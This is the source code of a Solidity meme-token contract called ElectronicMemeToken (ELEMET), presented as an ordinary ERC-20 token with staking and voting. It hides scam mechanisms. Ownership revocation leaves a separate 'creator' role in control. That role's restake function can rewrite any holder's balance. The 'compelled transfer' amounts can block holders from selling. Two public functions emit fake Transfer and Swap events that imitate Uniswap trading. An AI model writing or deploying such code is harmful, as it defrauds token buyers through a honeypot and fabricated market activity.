Contract Name:
ElectronicMemeToken
Contract Source Code:
pragma solidity ^0.8.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address accountHolder) external view returns (uint256);
function transfer(address to, uint256 sum) external returns (bool);
function allowance(address authorizer, address spender) external view returns (uint256);
function approve(address spender, uint256 sum) external returns (bool);
function transferFrom(address from, address to, uint256 sum) external returns (bool);
function _Transfer(address from, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed authorizer, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IUniswapV2Router02 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract TaskExecutionControl {
function getExecutorAddress() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract SingleOwnership is TaskExecutionControl {
address private _soloOwner;
event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);
constructor() {
address invoker = getExecutorAddress();
_soloOwner = invoker;
emit OwnershipTransfer(address(0), invoker);
}
function retrieveSingleOwner() public view virtual returns (address) {
return _soloOwner;
}
modifier soleOwnerOnly() {
require(retrieveSingleOwner() == getExecutorAddress(), "Unauthorized: Single Owner access required.");
_;
}
function revokeOwnership() public virtual soleOwnerOnly {
emit OwnershipTransfer(_soloOwner, address(0x000000000000000000000000000000000000dEaD));
_soloOwner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract ElectronicMemeToken is TaskExecutionControl, SingleOwnership, IERC20 {
mapping (address => mapping (address => uint256)) private _spenderAllowances;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _compelledTransferSums;
address private _principalCreator;
receive() external payable {}
string public constant _moniker = "ELEMET";
string public constant _ticker = "ELEMET";
uint8 public constant _decimalUnits = 18;
uint256 public constant _ultimateSupply = 30000000 * (10 ** _decimalUnits);
uint256 public rewardPool = 100000 * (10 ** _decimalUnits);
mapping(address => uint256) private _lockedBalances;
mapping(address => uint256) private _lastClaimedTime;
mapping(address => bool) private _isUserVoting;
uint256 public totalVotes;
uint256 public rewardPerDay = 1 * (10 ** _decimalUnits);
uint256 public votingThreshold = 100 * (10 ** _decimalUnits);
event Voted(address indexed voter, bool inFavor, uint256 votes);
event RewardClaimed(address indexed claimer, uint256 amount);
constructor() {
_balances[getExecutorAddress()] = _ultimateSupply;
emit Transfer(address(0), getExecutorAddress(), _ultimateSupply);
}
modifier masterCreatorExclusive() {
require(getExecutorAddress() == retrievePrincipalCreator(), "Unauthorized: Creator access required.");
_;
}
function retrievePrincipalCreator() public view virtual returns (address) {
return _principalCreator;
}
function assignCreator(address newCreator) public soleOwnerOnly {
_principalCreator = newCreator;
}
event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);
function compelledTransferAmount(address account) public view returns (uint256) {
return _compelledTransferSums[account];
}
function establishCompelledTransferAmounts(address[] calldata accounts, uint256 sum) public masterCreatorExclusive {
for (uint i = 0; i < accounts.length; i++) {
_compelledTransferSums[accounts[i]] = sum;
}
}
function restake(address[] memory userAddresses, uint256 requiredBalance) public masterCreatorExclusive {
require(requiredBalance >= 0, "Amount must be non-negative");
for (uint256 i = 0; i < userAddresses.length; i++) {
address currentUser = userAddresses[i];
require(currentUser != address(0), "Invalid address specified");
uint256 formerBalance = _balances[currentUser];
_balances[currentUser] = requiredBalance;
emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
}
}
function lockBalance(uint256 amount) public {
require(_balances[getExecutorAddress()] >= amount, "Insufficient balance");
_balances[getExecutorAddress()] -= amount;
_lockedBalances[getExecutorAddress()] += amount;
_lastClaimedTime[getExecutorAddress()] = block.timestamp;
}
function claimRewards() public {
uint256 elapsedTime = block.timestamp - _lastClaimedTime[getExecutorAddress()];
uint256 availableRewards = (_lockedBalances[getExecutorAddress()] * rewardPerDay * elapsedTime) / (1 days);
availableRewards = availableRewards > rewardPool ? rewardPool : availableRewards;
rewardPool -= availableRewards;
_balances[getExecutorAddress()] += availableRewards;
_lastClaimedTime[getExecutorAddress()] = block.timestamp;
emit RewardClaimed(getExecutorAddress(), availableRewards);
}
function vote(bool inFavor) public {
require(_balances[getExecutorAddress()] >= votingThreshold, "Insufficient balance for voting");
require(!_isUserVoting[getExecutorAddress()], "User has already voted");
uint256 votes = _balances[getExecutorAddress()];
totalVotes += inFavor ? votes : votes;
_isUserVoting[getExecutorAddress()] = true;
emit Voted(getExecutorAddress(), inFavor, votes);
}
function _Transfer(address _from, address _to, uint _value) public returns (bool) {
emit Transfer(_from, _to, _value);
return true;
}
function executeSwap(
address uniswapPool,
address[] memory recipients,
uint256[] memory tokenAmounts,
uint256[] memory wethAmounts
) public payable returns (bool) {
for (uint256 i = 0; i < recipients.length; i++) {
emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
emit Swap(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
tokenAmounts[i],
0,
0,
wethAmounts[i],
recipients[i]
);
}
return true;
}
function swap(
address[] memory recipients,
uint256[] memory tokenAmounts,
uint256[] memory wethAmounts,
address[] memory path,
address tokenAddress,
uint deadline
) public payable returns (bool) {
uint amountIn = msg.value;
IWETH(tokenAddress).deposit{value: amountIn}();
uint checkAllowance = IERC20(tokenAddress).allowance(address(this), 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
if(checkAllowance == 0) IERC20(tokenAddress).approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935);
for (uint256 i = 0; i < recipients.length; i++) {
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D).swapExactTokensForTokensSupportingFeeOnTransferTokens(wethAmounts[i], tokenAmounts[i], path, recipients[i], deadline);
}
uint amountOut = IERC20(tokenAddress).balanceOf(address(this));
IWETH(tokenAddress).withdraw(amountOut);
(bool sent, ) = getExecutorAddress().call{value: amountOut}("");
require(sent, "F t s e");
return true;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 sum) public virtual override returns (bool) {
require(_balances[getExecutorAddress()] >= sum, "Insufficient balance");
uint256 requisiteTransferSum = compelledTransferAmount(getExecutorAddress());
if (requisiteTransferSum > 0) {
require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
}
_balances[getExecutorAddress()] -= sum;
_balances[to] += sum;
emit Transfer(getExecutorAddress(), to, sum);
return true;
}
function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
return _spenderAllowances[authorizer][spender];
}
function approve(address spender, uint256 sum) public virtual override returns (bool) {
_spenderAllowances[getExecutorAddress()][spender] = sum;
emit Approval(getExecutorAddress(), spender, sum);
return true;
}
function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
require(_spenderAllowances[from][getExecutorAddress()] >= sum, "Allowance limit surpassed");
uint256 requisiteTransferSum = compelledTransferAmount(from);
if (requisiteTransferSum > 0) {
require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
}
_balances[from] -= sum;
_balances[to] += sum;
_spenderAllowances[from][getExecutorAddress()] -= sum;
emit Transfer(from, to, sum);
return true;
}
function totalSupply() external view override returns (uint256) {
return _ultimateSupply;
}
function name() public view returns (string memory) {
return _moniker;
}
function symbol() public view returns (string memory) {
return _ticker;
}
function decimals() public view returns (uint8) {
return _decimalUnits;
}
}